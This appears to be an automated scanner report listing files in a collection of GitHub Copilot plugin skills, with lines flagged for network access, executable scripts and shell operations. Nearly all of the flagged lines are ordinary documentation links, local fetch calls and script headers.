>- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` - Network accessline 165
>- **Requires:** A GitHub Copilot subscription ([check here](https://github.com/settings/copilot)) - Network accessline 195
- **If subscription issues:** "It looks like Copilot might not be enabled for your account. Check [github.com/settings/copilot](https://github.com/settings/copilot) to confirm you have an active subscription. If you're in an organization, y
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/references/extended-guide.md
- Network accessline 465
• /model — try different AI models • /mcp — extend with MCP servers • https://docs.github.com/copilot — official docs - Network accessline 467
• https://docs.github.com/copilot — official docs - Network accessline 485
• Try the Developer track for deeper skills • /help — see ALL available commands • https://docs.github.com/copilot — official docs - Network accessline 487
• https://docs.github.com/copilot — official docs - Network accessline 496
1. **Consult the latest docs** (for example, https://docs.github.com/copilot) or any available local documentation tools to ensure accuracy - Network accessline 545
### If `fetch_copilot_cli_documentation` fails or returns empty: - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Network accessline 546
- Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Never fabricate features or commands - Network accessline 547
- Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-enterprise-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-enterprise-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-org-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-org-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/copilot-customization-authoring/skills/github-copilot-starter/SKILL.md
- Network accessline 33
1. Inspect the repository for stack signals before asking questions. 2. Research `awesome-copilot` examples with web fetch before generating content: - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - Network accessline 34
2. Research `awesome-copilot` examples with web fetch before generating content: - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - https://github.com/github/awesome-copilot/blob/main/docs/README.agent - Network accessline 35
- https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - Network accessline 36
- https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md - Network accessline 37
- https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md - Network accessline 38
- https://github.com/github/awesome-copilot/tree/main/instructions - Network accessline 39
- https://github.com/github/awesome-copilot/tree/main/agents - Network accessline 40
- https://github.com/github/awesome-copilot/tree/main/skills - Network accessline 119
<!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/{filename}.instructions.md --> - Network accessline 140
<!-- Based on: https://github.com/github/awesome-copilot/blob/main/instructions/nodejs-javascript-vitest.instructions.md --> - Network accessline 141
<!-- Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md --> - Network accessline 142
<!-- and: https://github.com/github/awesome-copilot/blob/main/instructions/springboot.instructions.md --> - Network accessline 171
<!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/agents/{filename}.agent.md --> - Network accessline 274
- [awesome-copilot instructions docs](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md) - Network accessline 275
- [awesome-copilot agents docs](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md) - Network accessline 276
- [awesome-copilot skills docs](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md) - Network accessline 277
- [awesome-copilot instructions directory](https://github.com/github/awesome-copilot/tree/main/instructions) - Network accessline 278
- [awesome-copilot agents directory](https://github.com/github/awesome-copilot/tree/main/agents) - Network accessline 279
- [awesome-copilot skills directory](https://github.com/github/awesome-copilot/tree/main/skills)
harness/github-copilot/plugins/copilot-customization-authoring/skills/harness-engineering/SKILL.md
- Network accessline 120
The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid - Network accessline 157
- [Harness starter kit](https://github.com/baskduf/harness-starter-kit)
harness/github-copilot/plugins/copilot-customization-authoring/skills/lsp-setup/SKILL.md
- Network accessline 133
- [VS Code known language identifiers](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers)
harness/github-copilot/plugins/copilot-customization-authoring/skills/lsp-setup/references/lsp-servers.md
- Network accessline 11
**Server**: [typescript-language-server](https://github.com/typescript-language-server/typescript-language-server) - Network accessline 40
**Server**: [Eclipse JDT Language Server (jdtls)](https://github.com/eclipse-jdtls/eclipse.jdt.ls) - Network accessline 47
|---------|-----------------------------------| | macOS | `brew install jdtls` | | Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | - Network accessline 48
| macOS | `brew install jdtls` | | Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | | Windows | Download from https://download.eclipse. - Network accessline 49
| Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | - Network accessline 50
| Windows | Download from https://download.eclipse.org/jdtls/milestones/ and add `bin/` to `PATH` | - Network accessline 68
> **Note**: The `jdtls` wrapper script handles `--stdio` mode internally. If using a manual install, you may need to invoke the launcher jar directly — see the [jdtls README](https://github.com/eclipse-jdtls/eclipse.jdt.ls#running-from-comm - Network accessline 74
**Server**: [pyright](https://github.com/microsoft/pyright) - Network accessline 101
**Server**: [gopls](https://github.com/golang/tools/tree/master/gopls) - Network accessline 128
**Server**: [rust-analyzer](https://github.com/rust-lang/rust-analyzer) - Network accessline 157
**Server**: [clangd](https://clangd.llvm.org/) - Network accessline 163
| macOS | `brew install llvm` (clangd included) or Xcode command line tools | | Linux | `apt install clangd` / `dnf install clang-tools-extra` | | Windows | Download LLVM from https://releases.llvm.org/ | - Network accessline 165
| Windows | Download LLVM from https://releases.llvm.org/ | - Network accessline 191
**Server**: [Roslyn Language Server](https://github.com/dotnet/roslyn) (via `dotnet dnx`) - Network accessline 195
| OS | Command | |---------|----------------------------------------------------------------| | Any | Requires the [.NET SDK](https://dot.net/download) installed | - Network accessline 197
| Any | Requires the [.NET SDK](https://dot.net/download) installed | - Network accessline 217
**Server**: [solargraph](https://github.com/castwide/solargraph) - Network accessline 245
**Server**: [intelephense](https://github.com/bmewburn/vscode-intelephense) - Network accessline 271
**Server**: [kotlin-language-server](https://github.com/fwcd/kotlin-language-server) - Network accessline 299
**Server**: [sourcekit-lsp](https://github.com/swiftlang/sourcekit-lsp) (bundled with Swift toolchain) - Network accessline 304
|---------|----------------------------------------------------------------| | macOS | Included with Xcode; binary at `xcrun sourcekit-lsp` | | Linux | Included with Swift toolchain; install from https://swift.org | - Network accessline 305
| macOS | Included with Xcode; binary at `xcrun sourcekit-lsp` | | Linux | Included with Swift toolchain; install from https://swift.org | | Windows | Included with Swift toolchain; install from https://swift.org | - Network accessline 306
| Linux | Included with Swift toolchain; install from https://swift.org | - Network accessline 307
| Windows | Included with Swift toolchain; install from https://swift.org | - Network accessline 329
**Server**: [lua-language-server](https://github.com/LuaLS/lua-language-server) - Network accessline 357
**Server**: [yaml-language-server](https://github.com/redhat-developer/yaml-language-server) - Network accessline 384
**Server**: [bash-language-server](https://github.com/bash-lsp/bash-language-server)
harness/github-copilot/plugins/copilot-customization-authoring/skills/microsoft-skill-creator/SKILL.md
- Network accessline 4
Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Micros - Network accessline 5
metadata: compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." context: "fork" - Network accessline 6
compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." - Network accessline 24
- Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available. - Network accessline 99
For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic - Network accessline 151
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp) - Network accessline 152
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/) - Network accessline 153
- [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/references/lint.md
- Dangerous shell operationline 48
# rm wiki/{category}/{slug}.md
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/config.py
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/contextgraph.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/template_agent_workflow.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/__init__.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/documents_store.py
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/graph_store.py
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/index_store.py
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/ontology_store.py
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/retrieval_engine.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/wiki_store.py
harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator/assets/eval_review.html
- Dangerous shell operationline 81
const rm = document.createElement("button");
harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator/eval-viewer/generate_review.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 99
const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click(); }else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 100
}else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) .then(()=>alert('Feedback saved. You can return to the assistant.')) - Network accessline 101
fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 198
with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd: url = f"http://127.0.0.1:{port}/" - Network accessline 199
url = f"http://127.0.0.1:{port}/"
harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator/scripts/test_validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator/scripts/validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/copilot-customization-authoring/skills/steno-mode/SKILL.md
- Access to secretsline 45
[Credential-related source omitted]
harness/github-copilot/plugins/copilot-customization-authoring/skills/vardoger-analyze/SKILL.md
- Network accessline 53
If you do not have pipx, see https://pipx.pypa.io/stable/. - Network accessline 55
Project page: https://github.com/dstrupl/vardoger - Network accessline 163
- [pipx documentation](https://pipx.pypa.io/stable/) - Network accessline 164
- [vardoger project](https://github.com/dstrupl/vardoger)
harness/github-copilot/plugins/copilot-sdk/skills/copilot-sdk/SKILL.md
harness/github-copilot/plugins/copilot-sdk/skills/copilot-sdk/references/extended-guide.md
- Network accessline 350
github: { type: "http", url: "https://api.githubcopilot.com/mcp/", - Network accessline 351
type: "http", url: "https://api.githubcopilot.com/mcp/", }, - Network accessline 352
url: "https://api.githubcopilot.com/mcp/", - Network accessline 364
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 365
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 366
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 378
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 379
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 380
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 395
{ Type = "http", Url = "https://api.githubcopilot.com/mcp/", - Network accessline 396
Type = "http", Url = "https://api.githubcopilot.com/mcp/", }, - Network accessline 397
Url = "https://api.githubcopilot.com/mcp/", - Network accessline 704
- **GitHub Repository**: https://github.com/github/copilot-sdk - Network accessline 705
- **Getting Started Tutorial**: https://github.com/github/copilot-sdk - Network accessline 706
- **GitHub MCP Server**: https://github.com/github/github-mcp-server - Network accessline 707
- **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers - Network accessline 708
- **Cookbook**: https://github.com/github/copilot-sdk - Network accessline 709
- **Samples**: https://github.com/github/copilot-sdk
harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/references/extended-guide.md
- Network accessline 821
- [Changelog](https://ai-scripting.docsforadobe.dev/introduction/changelog/) - Recent scripting API changes (CC 2020 added `Document.getPageItemFromUuid` and `PageItem.uuid`; CC 2017 added `Application.getIsFileOpen`) - Network accessline 822
- [Illustrator Scripting Guide](https://ai-scripting.docsforadobe.dev/) - Full community-maintained documentation
harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/batch-export-png.jsx
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/create-color-grid.jsx
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/find-replace-text.jsx
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/SKILL.md
- Network accessline 196
- [Writing Python code](https://wiki.freecad.org/Manual:A_gentle_introduction#Writing_Python_code) - Network accessline 197
- [Manipulating FreeCAD objects](https://wiki.freecad.org/Manual:A_gentle_introduction#Manipulating_FreeCAD_objects) - Network accessline 198
- [Vectors and Placements](https://wiki.freecad.org/Manual:A_gentle_introduction#Vectors_and_Placements) - Network accessline 199
- [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry) - Network accessline 200
- [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects) - Network accessline 201
- [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools) - Network accessline 202
- [Python](https://en.wikipedia.org/wiki/Python_%28programming_language%29) - Network accessline 203
- [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python) - Network accessline 204
- [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial) - Network accessline 205
- [FreeCAD scripting basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics) - Network accessline 206
- [Gui Command](https://wiki.freecad.org/Gui_Command)
harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/geometry-and-shapes.md
- Network accessline 7
- [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry) - Network accessline 8
- [Part scripting](https://wiki.freecad.org/Part_scripting) - Network accessline 9
- [Topological data scripting](https://wiki.freecad.org/Topological_data_scripting) - Network accessline 10
- [Mesh scripting](https://wiki.freecad.org/Mesh_Scripting) - Network accessline 11
- [Mesh to Part conversion](https://wiki.freecad.org/Mesh_to_Part) - Network accessline 12
- [Sketcher scripting](https://wiki.freecad.org/Sketcher_scripting) - Network accessline 13
- [Drawing API example](https://wiki.freecad.org/Drawing_API_example) - Network accessline 14
- [Part: Create a ball bearing I](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_1) - Network accessline 15
- [Part: Create a ball bearing II](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_2) - Network accessline 16
- [Line drawing function](https://wiki.freecad.org/Line_drawing_function)
harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/gui-and-interface.md
- Network accessline 7
- [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools) - Network accessline 8
- [Gui Command](https://wiki.freecad.org/Gui_Command) - Network accessline 9
- [Define a command](https://wiki.freecad.org/Command) - Network accessline 10
- [PySide](https://wiki.freecad.org/PySide) - Network accessline 11
- [PySide beginner examples](https://wiki.freecad.org/PySide_Beginner_Examples) - Network accessline 12
- [PySide intermediate examples](https://wiki.freecad.org/PySide_Intermediate_Examples) - Network accessline 13
- [PySide advanced examples](https://wiki.freecad.org/PySide_Advanced_Examples) - Network accessline 14
- [PySide usage snippets](https://wiki.freecad.org/PySide_usage_snippets) - Network accessline 15
- [Interface creation](https://wiki.freecad.org/Interface_creation) - Network accessline 16
- [Dialog creation](https://wiki.freecad.org/Dialog_creation) - Network accessline 17
- [Dialog creation with various widgets](https://wiki.freecad.org/Dialog_creation_with_various_widgets) - Network accessline 18
- [Dialog creation reading and writing files](https://wiki.freecad.org/Dialog_creation_reading_and_writing_files) - Network accessline 19
- [Dialog creation setting colors](https://wiki.freecad.org/Dialog_creation_setting_colors) - Network accessline 20
- [Dialog creation image and animated GIF](https://wiki.freecad.org/Dialog_creation_image_and_animated_GIF) - Network accessline 21
- [Qt Example](https://wiki.freecad.org/Qt_Example) - Network accessline 22
- [3D view](https://wiki.freecad.org/3D_view) - Network accessline 23
- [The Coin scenegraph](https://wiki.freecad.org/Scenegraph) - Network accessline 24
- [Pivy](https://wiki.freecad.org/Pivy)
harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/parametric-objects.md
- Network accessline 7
- [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects) - Network accessline 8
- [Create a FeaturePython object part I](https://wiki.freecad.org/Create_a_FeaturePython_object_part_I) - Network accessline 9
- [Create a FeaturePython object part II](https://wiki.freecad.org/Create_a_FeaturePython_object_part_II) - Network accessline 10
- [Scripted objects](https://wiki.freecad.org/Scripted_objects) - Network accessline 11
- [Scripted objects saving attributes](https://wiki.freecad.org/Scripted_objects_saving_attributes) - Network accessline 12
- [Scripted objects migration](https://wiki.freecad.org/Scripted_objects_migration) - Network accessline 13
- [Scripted objects with attachment](https://wiki.freecad.org/Scripted_objects_with_attachment) - Network accessline 14
- [Viewprovider](https://wiki.freecad.org/Viewprovider) - Network accessline 15
- [Custom icon in tree view](https://wiki.freecad.org/Custom_icon_in_tree_view) - Network accessline 16
- [Properties](https://wiki.freecad.org/Property) - Network accessline 17
- [PropertyLink: InList and OutList](https://wiki.freecad.org/PropertyLink:_InList_and_OutList) - Network accessline 18
- [FeaturePython methods](https://wiki.freecad.org/FeaturePython_methods)
harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/scripting-fundamentals.md
- Network accessline 7
- [A gentle introduction](https://wiki.freecad.org/Manual:A_gentle_introduction) - Network accessline 8
- [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python) - Network accessline 9
- [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial) - Network accessline 10
- [FreeCAD Scripting Basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics) - Network accessline 11
- [Scripting and macros](https://wiki.freecad.org/Scripting_and_macros) - Network accessline 12
- [Working with macros](https://wiki.freecad.org/Macros) - Network accessline 13
- [Code snippets](https://wiki.freecad.org/Code_snippets) - Network accessline 14
- [Debugging](https://wiki.freecad.org/Debugging) - Network accessline 15
- [Profiling](https://wiki.freecad.org/Profiling) - Network accessline 16
- [Python development environment](https://wiki.freecad.org/Python_Development_Environment) - Network accessline 17
- [Extra python modules](https://wiki.freecad.org/Extra_python_modules) - Network accessline 18
- [FreeCAD vector math library](https://wiki.freecad.org/FreeCAD_vector_math_library) - Network accessline 19
- [Embedding FreeCAD](https://wiki.freecad.org/Embedding_FreeCAD) - Network accessline 20
- [Embedding FreeCADGui](https://wiki.freecad.org/Embedding_FreeCADGui) - Network accessline 21
- [Macro at startup](https://wiki.freecad.org/Macro_at_Startup) - Network accessline 22
- [How to install macros](https://wiki.freecad.org/How_to_install_macros) - Network accessline 23
- [IPython notebook integration](https://wiki.freecad.org/IPython_notebook_integration) - Network accessline 24
- [Quantity](https://wiki.freecad.org/Quantity)
harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/workbenches-and-advanced.md
- Network accessline 7
- [Workbench creation](https://wiki.freecad.org/Workbench_creation) - Network accessline 8
- [Script tutorial](https://wiki.freecad.org/Scripts) - Network accessline 9
- [Macros recipes](https://wiki.freecad.org/Macros_recipes) - Network accessline 10
- [FEM scripting](https://wiki.freecad.org/FEM_Tutorial_Python) - Network accessline 11
- [Path scripting](https://wiki.freecad.org/Path_scripting) - Network accessline 12
- [Raytracing scripting](https://wiki.freecad.org/Raytracing_API_example) - Network accessline 13
- [Svg namespace](https://wiki.freecad.org/Svg_Namespace) - Network accessline 14
- [Python](https://wiki.freecad.org/Python) - Network accessline 15
- [PythonOCC](https://wiki.freecad.org/PythonOCC)
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/2d-maze-game.md
- Network accessline 5
**Source reference:** [MDN - HTML5 Gamedev Phaser Device Orientation](https://developer.mozilla.org/en-US/docs/Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation) - Network accessline 6
**Live demo:** [Cyber Orb](https://orb.enclavegames.com/) - Network accessline 7
**Source code:** [GitHub - EnclaveGames/Cyber-Orb](https://github.com/EnclaveGames/Cyber-Orb)
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/2d-platform-game.md
- Network accessline 9
**Source:** Based on the [Mozilla HTML5 Games Workshop - Platformer](https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/). Project starter files available at the workshop repository.
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/gameBase-template-repo.md
- Network accessline 5
**Repository:** [github.com/deepnight/gameBase](https://github.com/deepnight/gameBase) - Network accessline 6
**Author:** [Sebastien Benard / deepnight](https://deepnight.net) - Network accessline 8
**Level editor integration:** [LDtk](https://ldtk.io) - Network accessline 228
1. **Install Haxe** (4.0+): [haxe.org](https://haxe.org/download/) - Network accessline 229
2. **Install HashLink** (for desktop target): [hashlink.haxe.org](https://hashlink.haxe.org/) - Network accessline 230
3. **Install LDtk** (for level editing): [ldtk.io](https://ldtk.io/) - Network accessline 235
# Clone the repository git clone https://github.com/deepnight/gameBase.git my-game - Network accessline 236
git clone https://github.com/deepnight/gameBase.git my-game
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/paddle-game-template.md
- Network accessline 9
**Source:** Based on the [MDN 2D Breakout Game Tutorial](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/simple-2d-engine.md
- Network accessline 5
**Source references:** - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/) - Network accessline 6
- [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/) - Network accessline 7
- [Part 2 - Collisions](https://deepnight.net/tutorial/a-simple-platformer-engine-part-2-collisions/) - Network accessline 9
**Author:** [Sebastien Benard / deepnight](https://deepnight.net)
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/3d-web-games.md
- Network accessline 5
Sources: [MDN Web Docs -- Games Techniques: 3D on the web](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web) - Network accessline 99
</head> <body> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> - Network accessline 100
<body> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> <script> - Network accessline 101
<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> - Network accessline 197
- Use `Math.abs()` when animating scale with `Math.sin()` to avoid negative scale values. - The render loop uses `requestAnimationFrame` for smooth, browser-optimized frame updates. - Consult [Three.js documentation](https://threejs.org/doc - Network accessline 199
- Consult [Three.js documentation](https://threejs.org/docs/) for the full API. - Network accessline 210
<script src="https://cdn.babylonjs.com/v7.34.1/babylon.js"></script> - Network accessline 275
- `BABYLON.Vector3` and `BABYLON.Color3` are used extensively for positioning and coloring. - Babylon.js includes a built-in math library for vectors, colors, and matrices. - Consult [Babylon.js documentation](https://doc.babylonjs.com/) fo - Network accessline 277
- Consult [Babylon.js documentation](https://doc.babylonjs.com/) for advanced features like physics, particles, and post-processing. - Network accessline 291
<meta charset="utf-8" /> <title>A-Frame Demo</title> <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> - Network accessline 292
<title>A-Frame Demo</title> <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> <style> - Network accessline 293
<script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> - Network accessline 394
- Entity-component system architecture - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/) - Network accessline 395
- Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/) - Network accessline 403
- PlayCanvas excels for team-based game development thanks to its online editor with real-time collaboration. - The engine-only approach is lightweight and can be embedded in any web page. - Consult the [PlayCanvas developer documentation]( - Network accessline 405
- Consult the [PlayCanvas developer documentation](https://developer.playcanvas.com/) for tutorials on entities, components, cameras, lights, materials, and animations. - Network accessline 497
- Shaders run on the GPU and offload computation from the CPU, which is critical for real-time performance. - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - Network accessline 498
- Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - GL - Network accessline 499
- [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - Network accessline 732
- **A-Frame** -- built-in VR mode button; declarative HTML-based scenes automatically work in VR. - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introducti - Network accessline 733
- **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introduction/How-to-create-VR-content). - Network accessline 752
- Always test on real headsets; the experience is vastly different from desktop preview. - Maintain a stable, high frame rate (72-90+ FPS) to prevent motion sickness. - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs - Network accessline 754
- Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) for the full API reference.
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/algorithms.md
- Network accessline 10
> Source: https://deepnight.net/tutorial/bresenham-magic-raycasting-line-of-sight-pathfinding/ - Network accessline 118
> Source: https://medium.com/@erikkubiak/dev-log-1-custom-engine-writing-my-collision-system-2a97856f9a93 - Network accessline 243
> Source: https://www.gamedev.net/tutorials/programming/math-and-physics/a-quick-lesson-in-velocity-and-speed-r6109/ - Network accessline 354
> Source: https://winter.dev/articles/physics-engine - Network accessline 551
> Source: https://www.gamedev.net/tutorials/programming/math-and-physics/vector-maths-for-game-dev-beginners-r5442/
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/basics.md
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/game-control-mechanisms.md
- Network accessline 507
<script src="https://unpkg.com/leapjs@0.6.4/leap-0.6.4.min.js"></script>
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/game-engine-core-principles.md
- Network accessline 5
Source: https://www.gamedev.net/articles/programming/general-and-gameplay-programming/making-a-game-engine-core-design-principles-r3210/ - Network accessline 555
class WebFileSystem extends FileSystem { async readFile(path) { const response = await fetch(path); - Network accessline 556
async readFile(path) { const response = await fetch(path); return response.arrayBuffer(); - Network accessline 557
const response = await fetch(path);
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/techniques.md
- Network accessline 9
**Source:** [MDN - Async Scripts for asm.js](https://developer.mozilla.org/en-US/docs/Games/Techniques/Async_scripts) - Network accessline 67
**Source:** [MDN - Optimizing Startup Performance](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Optimizing_startup_performance) - Network accessline 143
**Source:** [MDN - WebRTC Data Channels](https://developer.mozilla.org/en-US/docs/Games/Techniques/WebRTC_data_channels) - Network accessline 178
- The WebRTC API is primarily known for audio and video communication but includes robust peer-to-peer data channel capabilities. - Libraries are recommended to simplify implementation and work around browser differences. - Full WebRTC docu - Network accessline 180
- Full WebRTC documentation is available at [MDN WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API). - Network accessline 186
**Source:** [MDN - Audio for Web Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/Audio_for_Web_Games) - Network accessline 271
async function getFile(filepath) { const response = await fetch(filepath); - Network accessline 272
const response = await fetch(filepath); - Network accessline 355
**Source:** [MDN - 2D Collision Detection](https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection) - Network accessline 526
**Source:** [MDN - Tilemaps](https://developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps) - Network accessline 618
**Source:** [MDN - Controls Gamepad API](https://developer.mozilla.org/en-US/docs/Games/Techniques/Controls_Gamepad_API) - Network accessline 801
**Source:** [MDN - Crisp Pixel Art Look](https://developer.mozilla.org/en-US/docs/Games/Techniques/Crisp_pixel_art_look)
harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/terminology.md
- Network accessline 5
Source: https://www.gameindustrycareerguide.com/video-game-development-terms-glossary/
